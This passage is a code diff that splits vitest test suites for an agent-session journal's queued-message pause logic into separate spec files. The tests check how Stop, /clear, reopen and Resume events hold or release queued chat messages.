clientMessageId: id, - state: 'accepted', - providerIdentity: { provider: 'claude', sessionId: 'native-1', uuid: `echo-${id}` }, - fence: 0 - }) - } - - function userStop(journal: AgentSessionJournal) { - return journal.appendStopEvent({ reason: 'user-stop' }, 0) - } - - function reason(journal: AgentSessionJournal): string | null { - return journal.queuedMessages.pauses()[0]?.reason ?? null - } - - function held(journal: AgentSessionJournal): [string, boolean][] { - const pauses = journal.queuedMessages.pauses() - return journal.queuedMessages - .list() - .filter((card) => card.state === 'waiting') - .map((card) => [card.messageId, queuePauseHolding(pauses, card) !== undefined]) - } - - function stopEvents(): unknown[] { - const db = new Database(journalDatabasePath(root), { readonly: true }) - try { - return liveTestJournalRows(db, IDENTITY.sessionId).flatMap((stored) => { - const parsed = parseJournalRow(stored.rowJson) - return parsed.ok && parsed.row.kind === 'tombstone' && parsed.row.stopEvent - ? [parsed.row.stopEvent] - : [] - }) - } finally { - db.close() - } - } - - function rewriteRows(keys: Record): void { - const db = new Database(journalDatabasePath(root)) - try { - for (const stored of liveTestJournalRows(db, IDENTITY.sessionId)) { - const rewrite = keys[stored.seq] - if (rewrite) { - const row: Record = JSON.parse(stored.rowJson) - row[rewrite[0]] = rewrite[1] - updateTestJournalRowJson(db, IDENTITY.sessionId, stored.seq, JSON.stringify(row)) - } - } - } finally { - db.close() - } - } - - function pauseTables(): number { - const db = new Database(journalDatabasePath(root), { readonly: true }) - try { - return db - .prepare("SELECT name FROM sqlite_master WHERE type = 'table' AND name LIKE '%pause%'") - .all().length - } finally { - db.close() - } - } - - beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-queue-pause-')) - clock = 1_000 - }) - - afterEach(async () => { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - }) - - describe("the queue's pause, derived from the journal", () => { - it("a person's Stop event pauses the queue, even with no card yet, survives reopen, and stores nothing", async () => { - let journal = await open() - await userStop(journal) - expect(reason(journal)).toBe('stopped') - await queueDraft(journal, 'draft-1') - await journal.close() - journal = await open() - expect(reason(journal)).toBe('stopped') - expect(pauseTables()).toBe(0) - }) - - it("any turn sent after the Stop and accepted lifts it, Orca's own mail included", async () => { - const journal = await open() - await turn(journal, 'before-stop', false) - await userStop(journal) - // Late acceptance of a pre-Stop send cannot lift the pause. - await acceptTurn(journal, 'before-stop') - expect(reason(journal)).toBe('stopped') - await turn(journal, 'mail', false) - expect(reason(journal)).toBe('stopped') - await acceptTurn(journal, 'mail') - expect(reason(journal)).toBeNull() - }) - - it('a later Stop is the latest, and a Resume row lifts it', async () => { - const journal = await open() - await userStop(journal) - await turn(journal, 'typed') - expect(reason(journal)).toBeNull() - await userStop(journal) - expect(reason(journal)).toBe('stopped') - await journal.appendQueueResume(0) - expect(reason(journal)).toBeNull() - await userStop(journal) - expect(reason(journal)).toBe('stopped') - expect(pauseTables()).toBe(0) - }) - - it('a card kept by /clear stays paused until Resume in the same journal', async () => { - let journal = await open() - await queueDraft(journal, 'carried') - await clearContext(journal) - expect(reason(journal)).toBe('cleared') - await journal.close() - journal = await open() - expect(reason(journal)).toBe('cleared') - await journal.appendQueueResume(0) - expect(reason(journal)).toBeNull() - expect(pauseTables()).toBe(0) - }) - - it('any accepted turn after /clear lifts its pause, a launch prompt Orca sent included', async () => { - const journal = await open() - await queueDraft(journal, 'carried') - await clearContext(journal) - await turn(journal, 'launch', false) - expect(reason(journal)).toBe('cleared') - await acceptTurn(journal, 'launch') - expect(reason(journal)).toBeNull() - }) - - it('rides a tombstone of an id no item takes, so an older build reads it and changes nothing', async () => { - const journal = await open() - await turn(journal, 'typed') - await journal.appendStopEvent( - { reason: 'user-stop', turnId: 'turn-1', caller: 'client-1' }, - 0 - ) - const db = new Database(journalDatabasePath(root), { readonly: true }) - const stored = liveTestJournalRows(db, IDENTITY.sessionId) - db.close() - const parsed = parseJournalRow(stored.at(-1)?.rowJson ?? '') - expect(parsed).toMatchObject({ - ok: true, - row: { - kind: 'tombstone', - stopEvent: { reason: 'user-stop', turnId: 'turn-1', caller: 'client-1' } - } - }) - if (!parsed.ok || parsed.row.kind !== 'tombstone') { - throw new Error('expected a tombstone row') - } - expect(parsed.row.stopEvent?.at).toBe(parsed.row.ts) - // Older readers ignore the annotation and remove a nonexistent item. - const { stopEvent: _ignored, ...asOlderBuildReadsIt } = parsed.row - const state = createJournalReducerState(IDENTITY.sessionId, parsed.row.epoch) - for (const row of stored.slice(0, -1)) { - const earlier = parseJournalRow(row.rowJson) - if (earlier.ok) { - applyJournalRow(state, earlier.row) - } - } - const items = [...state.items.keys()] - const submissions = [...state.submissions.keys()] - applyJournalRow(state, asOlderBuildReadsIt) - expect([...state.items.keys()]).toEqual(items) - expect([...state.submissions.keys()]).toEqual(submissions) - }) - - it('a Stop or Resume row holding a value no build writes is ignored on read, never trusted', async () => { - let journal = await open() - await queueDraft(journal, 'held') - const corrupted = async ( - append: Promise<{ sequence: number }>, - key: string, - value: unknown - ) => { - const { sequence } = await append - await journal.close() - rewriteRows({ [sequence]: [key, value] }) - journal = await open() - } - const malformed = [null, 'stopped', { at: 1 }] - for (const value of malformed) { - await corrupted(userStop(journal), 'stopEvent', value) - expect(reason(journal)).toBeNull() - } - await userStop(journal) - for (const value of malformed) { - await corrupted(userStop(journal), 'stopEvent', value) - expect(reason(journal)).toBe('stopped') - } - await corrupted(journal.appendQueueResume(0), 'queueResume', 'yes') - expect(reason(journal)).toBe('stopped') - expect(held(journal)).toEqual([['held', true]]) - }) - - it("the queue's own consume is refused in its transaction while the pause holds the card; Send-now is not", async () => { - const journal = await open() - await queueDraft(journal, 'draft-1') - await userStop(journal) - const consume = (id: string, automatic: boolean) => - journal.appendSubmission( - { - clientMessageId: id, - payloadFingerprint: fingerprintOf('draft-1'), - body: message('draft-1'), - fence: 0, - handoverRecorded: true - }, - { - messageId: 'draft-1', - expect: 'waiting', - ...(automatic ? { yieldsToPause: true as const } : {}) - } - ) - await expect(consume('drain-1', true)).rejects.toBeInstanceOf(QueuedMessageNotConsumableError) - expect(journal.submission('drain-1')).toBeUndefined() - expect(journal.queuedMessages.get('draft-1')?.state).toBe('waiting') - await consume('send-now-1', false) - expect(journal.queuedMessages.get('draft-1')?.state).toBe('dispatched') - }) - - it("a rewind's epoch replacement restates a Stop still pausing, and not one a turn ended", async () => { - const journal = await open() - await userStop(journal) - await journal.replaceEpochItems('handle_forked', 0, []) - expect(reason(journal)).toBe('stopped') - await turn(journal, 'typed') - await journal.replaceEpochItems('handle_forked', 0, []) - expect(reason(journal)).toBeNull() - }) - - it("only a person's Stop pauses: a host's, a close's or an unknown reason holds nothing", async () => { - const journal = await open() - await queueDraft(journal, 'draft-1') - for (const reason of ['user-close', 'host-stop', 'evict'] as const) { - await journal.appendStopEvent({ reason }, 0) - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: deliberately outside the type, as a newer build could write it. - await journal.appendStopEvent({ reason: 'future-reason' as 'evict' }, 0) - expect(reason(journal)).toBeNull() - }) - - it("a later Stop of any reason ends a person's Stop, without pausing itself", async () => { - const journal = await open() - await queueDraft(journal, 'draft-1') - for (const later of ['host-stop', 'evict', 'user-close'] as const) { - await userStop(journal) - expect(held(journal)).toEqual([['draft-1', true]]) - await journal.appendStopEvent({ reason: later }, 0) - expect(reason(journal)).toBeNull() - expect(held(journal)).toEqual([['draft-1', false]]) - } - }) - - it("a person's Stop with no later Stop event is not lifted", async () => { - const journal = await open() - await queueDraft(journal, 'held') - await userStop(journal) - // Eviction rows must describe ended work or they would incorrectly lift this pause. - expect(reason(journal)).toBe('stopped') - expect(held(journal)).toEqual([['held', true]]) - }) - - it('the restated Stop is the same event: its reason, turn, caller and time', async () => { - const journal = await open() - await journal.appendStopEvent({ reason: 'user-stop', turnId: 'turn-7', caller: 'phone' }, 0) - const stopped = stopEvents() - await journal.replaceEpochItems('handle_forked', 0, []) - expect(stopEvents()).toEqual(stopped) - expect(stopped).toEqual([ - { reason: 'user-stop', turnId: 'turn-7', caller: 'phone', at: expect.any(Number) } - ]) - }) - - it.each([ - ['an accepted turn', (journal: AgentSessionJournal) => turn(journal, 'typed')], - ['a Resume', (journal: AgentSessionJournal) => journal.appendQueueResume(0)] - ])('a /clear pause %s already lifted stays lifted across a rewind', async (_name, lift) => { - const journal = await open() - await queueDraft(journal, 'carried') - await clearContext(journal) - await lift(journal) - expect(reason(journal)).toBeNull() - await journal.replaceEpochItems('handle_forked', 0, []) - expect(reason(journal)).toBeNull() - }) - - it('a lifted /clear pause and a later Stop are both restated, the Stop still in force', async () => { - const journal = await open() - await queueDraft(journal, 'carried') - await clearContext(journal) - await turn(journal, 'typed') - await userStop(journal) - await journal.replaceEpochItems('handle_forked', 0, []) - expect(journal.queuedMessages.pauses().map((pause) => pause.reason)).toEqual(['stopped']) - await journal.appendQueueResume(0) - expect(reason(journal)).toBeNull() - }) - }) - - describe('which cards a pause holds', () => { - it('only cards queued before the Stop event: one queued after it is a new instruction', async () => { - let journal = await open() - await queueDraft(journal, 'before') - await userStop(journal) - await queueDraft(journal, 'after') - expect(held(journal)).toEqual([ - ['before', true], - ['after', false] - ]) - await journal.close() - journal = await open() - expect(held(journal)).toEqual([ - ['before', true], - ['after', false] - ]) - }) - - it('a steer the Stop withdrew comes back in its own place, and is held', async () => { - const journal = await open() - await queueDraft(journal, 'steered') - await journal.appendSubmission( - { - clientMessageId: 'send-now-1', - payloadFingerprint: fingerprintOf('steered'), - body: message('steered'), - fence: 0, - handoverRecorded: true - }, - { messageId: 'steered', expect: 'waiting' } - ) - await userStop(journal) - await queueDraft(journal, 'after') - await journal.resolveDispatch({ - clientMessageId: 'send-now-1', - state: 'rejected', - ...agentSessionFailureWords(agentSessionFailureFact('cancelled'), { surface: 'rejection' }), - fence: 0 - }) - expect(held(journal)).toEqual([ - ['steered', true], - ['after', false] - ]) - }) - - it("the queue's own consume refuses a newer card while an older one is held: nothing overtakes", async () => { - const journal = await open() - await queueDraft(journal, 'held') - await userStop(journal) - await queueDraft(journal, 'newer') - await expect( - journal.appendSubmission( - { - clientMessageId: 'drain-newer', - payloadFingerprint: fingerprintOf('newer'), - body: message('newer'), - fence: 0, - handoverRecorded: true - }, - { - messageId: 'newer', - expect: 'waiting', - yieldsToPause: true - } - ) - ).rejects.toBeInstanceOf(QueuedMessageNotConsumableError) - expect(journal.queuedMessages.get('newer')?.state).toBe('waiting') - }) - - it("'cleared' holds the cards already queued, not one typed after it", async () => { - const journal = await open() - await queueDraft(journal, 'carried-1') - await queueDraft(journal, 'carried-2') - await clearContext(journal) - await queueDraft(journal, 'typed-here') - expect(held(journal)).toEqual([ - ['carried-1', true], - ['carried-2', true], - ['typed-here', false] - ]) - }) - }) - - describe("a reopen's pause", () => { - /** Reopen as a new handle; failMark injects a reopen-mark write failure. */ - async function reopen( - journal: AgentSessionJournal, - failMark = false - ): Promise { - await journal.close() - const reopened = await open() - if (failMark) { - vi.spyOn(reopened, 'appendQueueReopen').mockRejectedValueOnce(new Error('disk full')) - await expect(reopened.markQueueReopen(0)).rejects.toThrow('disk full') - } else { - await reopened.markQueueReopen(0) - } - return reopened - } - - it('holds the cards queued before the reopen, never one queued after its mark', async () => { - let journal = await open() - await queueDraft(journal, 'before') - expect(reason(journal)).toBeNull() - journal = await reopen(journal) - await queueDraft(journal, 'after') - expect(held(journal)).toEqual([ - ['before', true], - ['after', false] - ]) - expect(reason(journal)).toBe('restarted') - }) - - it.each([ - ['an accepted turn', (journal: AgentSessionJournal) => turn(journal, 'carry-on')], - ['a Resume', (journal: AgentSessionJournal) => journal.appendQueueResume(0)] - ])('%s after the reopen lifts it', async (_name, lift) => { - let journal = await open() - await queueDraft(journal, 'before') - journal = await reopen(journal) - await lift(journal) - expect(reason(journal)).toBeNull() - }) - - it('a turn the agent has not accepted yet lifts nothing', async () => { - let journal = await open() - await queueDraft(journal, 'before') - journal = await reopen(journal) - await turn(journal, 'carry-on', false) - expect(reason(journal)).toBe('restarted') - }) - - it('marks a reopen whose only card is mid-hand-off, and holds it once it comes back', async () => { - let journal = await open() - await queueDraft(journal, 'in-flight') - await journal.appendSubmission( - { - clientMessageId: 'drain-1', - payloadFingerprint: fingerprintOf('in-flight'), - body: message('in-flight'), - fence: 0, - handoverRecorded: true - }, - { messageId: 'in-flight', expect: 'waiting' } - ) - journal = await reopen(journal) - await journal.resolveDispatch({ - clientMessageId: 'drain-1', - state: 'rejected', - ...agentSessionFailureWords(agentSessionFailureFact('notDelivered'), { - surface: 'rejection' - }), - fence: 0 - }) - expect(held(journal)).toEqual([['in-flight', true]]) - }) - - it('a mark written late starts where the chat stopped, and narrows no earlier mark', async () => { - const journal = await open() - await queueDraft(journal, 'kept') - const stopped = journal.cursor().sequence + 1 - await turn(journal, 'later') - await journal.markQueueReopen(0, stopped) - expect(reason(journal)).toBeNull() - - const reopened = await reopen(journal) - expect(reason(reopened)).toBe('restarted') - await reopened.markQueueReopen(0, stopped) - expect(reason(reopened)).toBe('restarted') - }) - - it('a reopen with no waiting card writes nothing', async () => { - let journal = await open() - await turn(journal, 'earlier') - const before = journal.cursor() - journal = await reopen(journal) - expect(journal.cursor()).toEqual(before) - await queueDraft(journal, 'after') - expect(held(journal)).toEqual([['after', false]]) - }) - - it('a second reopen before any turn still holds them; one after a turn holds them again', async () => { - let journal = await open() - await queueDraft(journal, 'before') - journal = await reopen(journal) - journal = await reopen(journal) - expect(reason(journal)).toBe('restarted') - await turn(journal, 'carry-on') - expect(reason(journal)).toBeNull() - journal = await reopen(journal) - expect(reason(journal)).toBe('restarted') - }) - - it('without a mark the open itself is where the pause begins', async () => { - let journal = await open() - await queueDraft(journal, 'before') - journal = await reopen(journal, true) - expect(held(journal)).toEqual([['before', true]]) - await turn(journal, 'carry-on') - expect(reason(journal)).toBeNull() - }) - - it("reads an earlier build's stored 'kept' and 'stopped' holds as none; send_failed stays", async () => { - let journal = await open() - const db = new Database(journalDatabasePath(root)) - for (const [position, id, stored] of [ - [1, 'was-kept', 'kept'], - [2, 'was-stopped', 'stopped'], - [3, 'failed', 'send_failed'] - ] as const) { - db.prepare( - `INSERT INTO queued_messages (session_id, message_id, position, body_json, fingerprint, - created_at, host_instance, state, hold_reason) - VALUES (?, ?, ?, ?, '', 0, 'earlier', 'waiting', ?)` - ).run(IDENTITY.sessionId, id, position, JSON.stringify(message(id)), stored) - } - db.close() - journal = await reopen(journal) - expect(journal.queuedMessages.list().map((row) => [row.messageId, row.holdReason])).toEqual([ - ['was-kept', null], - ['was-stopped', null], - ['failed', 'send_failed'] - ]) - expect(held(journal)).toEqual([ - ['was-kept', true], - ['was-stopped', true], - ['failed', false] - ]) - }) - }) - - describe('which cards the pauses in force hold', () => { - type Card = Parameters[1] & { messageId: string } - - function card(messageId: string, queuedAfter: number, fields: Partial = {}): Card { - const queuedAt = { epoch: 'epoch-1', sequence: queuedAfter + 1 } - const base = { state: 'waiting', holdReason: null } - return { messageId, ...base, queuedAt, ...fields } - } - - /** Simulate Stop/open boundaries with no subsequent turn, Resume or reopen mark. */ - function pausesOver(cards: readonly Card[], stopped = 5, opened = 0, clearedIds?: string[]) { - return deriveQueuePauses({ - epoch: 'epoch-1', - marks: { - latestStop: stopped ? { sequence: stopped, event: { reason: 'user-stop', at: 0 } } : null, - resumedSequence: 0, - reopenedSequence: 0, - ...(clearedIds - ? { cleared: { sequence: 4, operationId: 'clear', messageIds: clearedIds } } - : {}) - }, - latestAcceptedTurnSequence: 0, - cards, - reopenFloor: opened ? { epoch: 'epoch-1', sequence: opened + 1 } : null - }) - } - - function holding( - cards: readonly Card[], - stopped?: number, - opened?: number - ): [string, string | null][] { - const pauses = pausesOver(cards, stopped, opened) - return cards.map((each) => [each.messageId, queuePauseHolding(pauses, each)?.reason ?? null]) - } - - it('a Stop holds a card with no recorded position, and one queued before a rewind', () => { - const cards = [ - card('unrecorded', 5, { queuedAt: null }), - // Epoch precedence outranks raw sequence values. - card('before-rewind', 5, { queuedAt: { epoch: 'epoch-0', sequence: 9 } }), - card('after', 5) - ] - expect(holding(cards)).toEqual([ - ['unrecorded', 'stopped'], - ['before-rewind', 'stopped'], - ['after', null] - ]) - }) - - it("a Stop that holds nothing never hides a reopen's: a card from before the open waits", () => { - const after = card('after', 5) - expect(pausesOver([after], 5, 6).map((pause) => pause.reason)).toEqual([ - 'stopped', - 'restarted' - ]) - expect(holding([after], 5, 6)).toEqual([['after', 'restarted']]) - expect(nextSendableQueuedCard(pausesOver([after], 5, 6), [after])).toBeNull() - expect(nextSendableQueuedCard(pausesOver([after]), [after])).toBe(after) - }) - - it("a card names the first pause holding it, and the header names the first held card's", () => { - const cards = [card('before', 3), card('after', 5)] - expect(holding(cards, 5, 6)).toEqual([ - ['before', 'stopped'], - ['after', 'restarted'] - ]) - expect(resumableQueuePause(pausesOver(cards, 5, 6), cards)?.reason).toBe('stopped') - }) - - it('a card from before the open waits in order, and so do the cards behind it', () => { - const cards = [card('kept', 1), card('behind', 2)] - expect(holding(cards, 0, 4)).toEqual([ - ['kept', 'restarted'], - ['behind', 'restarted'] - ]) - expect(nextSendableQueuedCard(pausesOver(cards, 0, 4), cards)).toBeNull() - }) - - it('a card held on its own from before the open starts no reopen pause', () => { - const cards = [card('held', 1, { holdReason: 'send_failed' }), card('live', 5)] - expect(pausesOver(cards, 0, 4)).toEqual([]) - expect(nextSendableQueuedCard(pausesOver(cards, 0, 4), cards)?.messageId).toBe('live') - }) - - it("a /clear's pause that holds nothing never hides a reopen's", () => { - const cards = [card('cleared', 1, { holdReason: 'send_failed' }), card('typed', 2)] - const pauses = pausesOver(cards, 0, 4, ['cleared']) - expect(pauses.map((pause) => pause.reason)).toEqual(['cleared', 'restarted']) - expect( - cards.map((each) => [each.messageId, queuePauseHolding(pauses, each)?.reason ?? null]) - ).toEqual([ - ['cleared', null], - ['typed', 'restarted'] - ]) - expect(nextSendableQueuedCard(pauses, cards)).toBeNull() - }) - }) + const fixture = createFixture() + registerQueuedMessageStopPauseTests(fixture) + registerQueuedMessageReopenPauseTests(fixture) + registerQueuedMessagePauseHeldCardsTests() } diff --git a/src/main/native-chat/agent-session-journal/queued-message-reopen-pause.spec.ts b/src/main/native-chat/agent-session-journal/queued-message-reopen-pause.spec.ts new file mode 100644 index 00000000000..d9cca6b2e25 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/queued-message-reopen-pause.spec.ts @@ -0,0 +1,243 @@ +import type { createFixture } from './queued-message-pause-contract-test-fixture' +import { describe, expect, it, vi } from 'vitest' +import Database from '../../sqlite/sync-database' +import { journalDatabasePath } from './journal-host-database' +import { QueuedMessageNotConsumableError } from './queued-message-consume-error' +import type { AgentSessionJournal } from './journal-store' +import { agentSessionFailureFact } from '../../../shared/agent-session-failure' +import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' + +export function registerQueuedMessageReopenPauseTests( + fixture: ReturnType +): void { + describe('which cards a pause holds', () => { + it('only cards queued before the Stop event: one queued after it is a new instruction', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'before') + await fixture.userStop(journal) + await fixture.queueDraft(journal, 'after') + expect(fixture.held(journal)).toEqual([ + ['before', true], + ['after', false] + ]) + await journal.close() + journal = await fixture.open() + expect(fixture.held(journal)).toEqual([ + ['before', true], + ['after', false] + ]) + }) + + it('a steer the Stop withdrew comes back in its own place, and is held', async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'steered') + await journal.appendSubmission( + { + clientMessageId: 'send-now-1', + payloadFingerprint: fixture.fingerprintOf('steered'), + body: fixture.message('steered'), + fence: 0, + handoverRecorded: true + }, + { messageId: 'steered', expect: 'waiting' } + ) + await fixture.userStop(journal) + await fixture.queueDraft(journal, 'after') + await journal.resolveDispatch({ + clientMessageId: 'send-now-1', + state: 'rejected', + ...agentSessionFailureWords(agentSessionFailureFact('cancelled'), { surface: 'rejection' }), + fence: 0 + }) + expect(fixture.held(journal)).toEqual([ + ['steered', true], + ['after', false] + ]) + }) + + it("the queue's own consume refuses a newer card while an older one is held: nothing overtakes", async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'held') + await fixture.userStop(journal) + await fixture.queueDraft(journal, 'newer') + await expect( + journal.appendSubmission( + { + clientMessageId: 'drain-newer', + payloadFingerprint: fixture.fingerprintOf('newer'), + body: fixture.message('newer'), + fence: 0, + handoverRecorded: true + }, + { + messageId: 'newer', + expect: 'waiting', + yieldsToPause: true + } + ) + ).rejects.toBeInstanceOf(QueuedMessageNotConsumableError) + expect(journal.queuedMessages.get('newer')?.state).toBe('waiting') + }) + + it("'cleared' holds the cards already queued, not one typed after it", async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'carried-1') + await fixture.queueDraft(journal, 'carried-2') + await fixture.clearContext(journal) + await fixture.queueDraft(journal, 'typed-here') + expect(fixture.held(journal)).toEqual([ + ['carried-1', true], + ['carried-2', true], + ['typed-here', false] + ]) + }) + }) + + describe("a reopen's pause", () => { + /** Reopen as a new handle; failMark injects a reopen-mark write failure. */ + async function reopen( + journal: AgentSessionJournal, + failMark = false + ): Promise { + await journal.close() + const reopened = await fixture.open() + if (failMark) { + vi.spyOn(reopened, 'appendQueueReopen').mockRejectedValueOnce(new Error('disk full')) + await expect(reopened.markQueueReopen(0)).rejects.toThrow('disk full') + } else { + await reopened.markQueueReopen(0) + } + return reopened + } + + it('holds the cards queued before the reopen, never one queued after its mark', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'before') + expect(fixture.reason(journal)).toBeNull() + journal = await reopen(journal) + await fixture.queueDraft(journal, 'after') + expect(fixture.held(journal)).toEqual([ + ['before', true], + ['after', false] + ]) + expect(fixture.reason(journal)).toBe('restarted') + }) + + it.each([ + ['an accepted turn', (journal: AgentSessionJournal) => fixture.turn(journal, 'carry-on')], + ['a Resume', (journal: AgentSessionJournal) => journal.appendQueueResume(0)] + ])('%s after the reopen lifts it', async (_name, lift) => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'before') + journal = await reopen(journal) + await lift(journal) + expect(fixture.reason(journal)).toBeNull() + }) + + it('a turn the agent has not accepted yet lifts nothing', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'before') + journal = await reopen(journal) + await fixture.turn(journal, 'carry-on', false) + expect(fixture.reason(journal)).toBe('restarted') + }) + + it('marks a reopen whose only card is mid-hand-off, and holds it once it comes back', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'in-flight') + await journal.appendSubmission( + { + clientMessageId: 'drain-1', + payloadFingerprint: fixture.fingerprintOf('in-flight'), + body: fixture.message('in-flight'), + fence: 0, + handoverRecorded: true + }, + { messageId: 'in-flight', expect: 'waiting' } + ) + journal = await reopen(journal) + await journal.resolveDispatch({ + clientMessageId: 'drain-1', + state: 'rejected', + ...agentSessionFailureWords(agentSessionFailureFact('notDelivered'), { + surface: 'rejection' + }), + fence: 0 + }) + expect(fixture.held(journal)).toEqual([['in-flight', true]]) + }) + + it('a mark written late starts where the chat stopped, and narrows no earlier mark', async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'kept') + const stopped = journal.cursor().sequence + 1 + await fixture.turn(journal, 'later') + await journal.markQueueReopen(0, stopped) + expect(fixture.reason(journal)).toBeNull() + + const reopened = await reopen(journal) + expect(fixture.reason(reopened)).toBe('restarted') + await reopened.markQueueReopen(0, stopped) + expect(fixture.reason(reopened)).toBe('restarted') + }) + + it('a reopen with no waiting card writes nothing', async () => { + let journal = await fixture.open() + await fixture.turn(journal, 'earlier') + const before = journal.cursor() + journal = await reopen(journal) + expect(journal.cursor()).toEqual(before) + await fixture.queueDraft(journal, 'after') + expect(fixture.held(journal)).toEqual([['after', false]]) + }) + + it('a second reopen before any turn still holds them; one after a turn holds them again', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'before') + journal = await reopen(journal) + journal = await reopen(journal) + expect(fixture.reason(journal)).toBe('restarted') + await fixture.turn(journal, 'carry-on') + expect(fixture.reason(journal)).toBeNull() + journal = await reopen(journal) + expect(fixture.reason(journal)).toBe('restarted') + }) + + it('without a mark the open itself is where the pause begins', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'before') + journal = await reopen(journal, true) + expect(fixture.held(journal)).toEqual([['before', true]]) + await fixture.turn(journal, 'carry-on') + expect(fixture.reason(journal)).toBeNull() + }) + + it("reads an earlier build's stored 'kept' and 'stopped' holds as none; send_failed stays", async () => { + let journal = await fixture.open() + const db = new Database(journalDatabasePath(fixture.root)) + for (const [position, id, stored] of [ + [1, 'was-kept', 'kept'], + [2, 'was-stopped', 'stopped'], + [3, 'failed', 'send_failed'] + ] as const) { + db.prepare( + `INSERT INTO queued_messages (session_id, message_id, position, body_json, fingerprint, + created_at, host_instance, state, hold_reason) + VALUES (?, ?, ?, ?, '', 0, 'earlier', 'waiting', ?)` + ).run(fixture.IDENTITY.sessionId, id, position, JSON.stringify(fixture.message(id)), stored) + } + db.close() + journal = await reopen(journal) + expect(journal.queuedMessages.list().map((row) => [row.messageId, row.holdReason])).toEqual([ + ['was-kept', null], + ['was-stopped', null], + ['failed', 'send_failed'] + ]) + expect(fixture.held(journal)).toEqual([ + ['was-kept', true], + ['was-stopped', true], + ['failed', false] + ]) + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/queued-message-stop-pause.spec.ts b/src/main/native-chat/agent-session-journal/queued-message-stop-pause.spec.ts new file mode 100644 index 00000000000..82a13e35ff2 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/queued-message-stop-pause.spec.ts @@ -0,0 +1,246 @@ +import type { createFixture } from './queued-message-pause-contract-test-fixture' +import { describe, expect, it } from 'vitest' +import Database from '../../sqlite/sync-database' +import { journalDatabasePath } from './journal-host-database' +import { liveTestJournalRows } from './journal-host-database-test-support' +import { QueuedMessageNotConsumableError } from './queued-message-consume-error' +import { applyJournalRow, createJournalReducerState } from './journal-reducer' +import { parseJournalRow } from './journal-row-schema' +import type { AgentSessionJournal } from './journal-store' + +export function registerQueuedMessageStopPauseTests( + fixture: ReturnType +): void { + describe("the queue's pause, derived from the journal", () => { + it("a person's Stop event pauses the queue, even with no card yet, survives reopen, and stores nothing", async () => { + let journal = await fixture.open() + await fixture.userStop(journal) + expect(fixture.reason(journal)).toBe('stopped') + await fixture.queueDraft(journal, 'draft-1') + await journal.close() + journal = await fixture.open() + expect(fixture.reason(journal)).toBe('stopped') + expect(fixture.pauseTables()).toBe(0) + }) + + it("any turn sent after the Stop and accepted lifts it, Orca's own mail included", async () => { + const journal = await fixture.open() + await fixture.turn(journal, 'before-stop', false) + await fixture.userStop(journal) + // Late acceptance of a pre-Stop send cannot lift the pause. + await fixture.acceptTurn(journal, 'before-stop') + expect(fixture.reason(journal)).toBe('stopped') + await fixture.turn(journal, 'mail', false) + expect(fixture.reason(journal)).toBe('stopped') + await fixture.acceptTurn(journal, 'mail') + expect(fixture.reason(journal)).toBeNull() + }) + + it('a later Stop is the latest, and a Resume row lifts it', async () => { + const journal = await fixture.open() + await fixture.userStop(journal) + await fixture.turn(journal, 'typed') + expect(fixture.reason(journal)).toBeNull() + await fixture.userStop(journal) + expect(fixture.reason(journal)).toBe('stopped') + await journal.appendQueueResume(0) + expect(fixture.reason(journal)).toBeNull() + await fixture.userStop(journal) + expect(fixture.reason(journal)).toBe('stopped') + expect(fixture.pauseTables()).toBe(0) + }) + + it('a card kept by /clear stays paused until Resume in the same journal', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'carried') + await fixture.clearContext(journal) + expect(fixture.reason(journal)).toBe('cleared') + await journal.close() + journal = await fixture.open() + expect(fixture.reason(journal)).toBe('cleared') + await journal.appendQueueResume(0) + expect(fixture.reason(journal)).toBeNull() + expect(fixture.pauseTables()).toBe(0) + }) + + it('any accepted turn after /clear lifts its pause, a launch prompt Orca sent included', async () => { + const journal = await fixture.open() + await fixture.queueDraft(journal, 'carried') + await fixture.clearContext(journal) + await fixture.turn(journal, 'launch', false) + expect(fixture.reason(journal)).toBe('cleared') + await fixture.acceptTurn(journal, 'launch') + expect(fixture.reason(journal)).toBeNull() + }) + + it('rides a tombstone of an id no item takes, so an older build reads it and changes nothing', async () => { + const journal = await fixture.open() + await fixture.turn(journal, 'typed') + await journal.appendStopEvent( + { reason: 'user-stop', turnId: 'turn-1', caller: 'client-1' }, + 0 + ) + const db = new Database(journalDatabasePath(fixture.root), { readonly: true }) + const stored = liveTestJournalRows(db, fixture.IDENTITY.sessionId) + db.close() + const parsed = parseJournalRow(stored.at(-1)?.rowJson ?? '') + expect(parsed).toMatchObject({ + ok: true, + row: { + kind: 'tombstone', + stopEvent: { reason: 'user-stop', turnId: 'turn-1', caller: 'client-1' } + } + }) + if (!parsed.ok || parsed.row.kind !== 'tombstone') { + throw new Error('expected a tombstone row') + } + expect(parsed.row.stopEvent?.at).toBe(parsed.row.ts) + // Older readers ignore the annotation and remove a nonexistent item. + const { stopEvent: _ignored, ...asOlderBuildReadsIt } = parsed.row + const state = createJournalReducerState(fixture.IDENTITY.sessionId, parsed.row.epoch) + for (const row of stored.slice(0, -1)) { + const earlier = parseJournalRow(row.rowJson) + if (earlier.ok) { + applyJournalRow(state, earlier.row) + } + } + const items = [...state.items.keys()] + const submissions = [...state.submissions.keys()] + applyJournalRow(state, asOlderBuildReadsIt) + expect([...state.items.keys()]).toEqual(items) + expect([...state.submissions.keys()]).toEqual(submissions) + }) + + it('a Stop or Resume row holding a value no build writes is ignored on read, never trusted', async () => { + let journal = await fixture.open() + await fixture.queueDraft(journal, 'held') + const corrupted = async ( + append: Promise<{ sequence: number }>, + key: string, + value: unknown + ) => { + const { sequence } = await append + await journal.close() + fixture.rewriteRows({ [sequence]: [key, value] }) + journal = await fixture.open() + } + const malformed = [null, 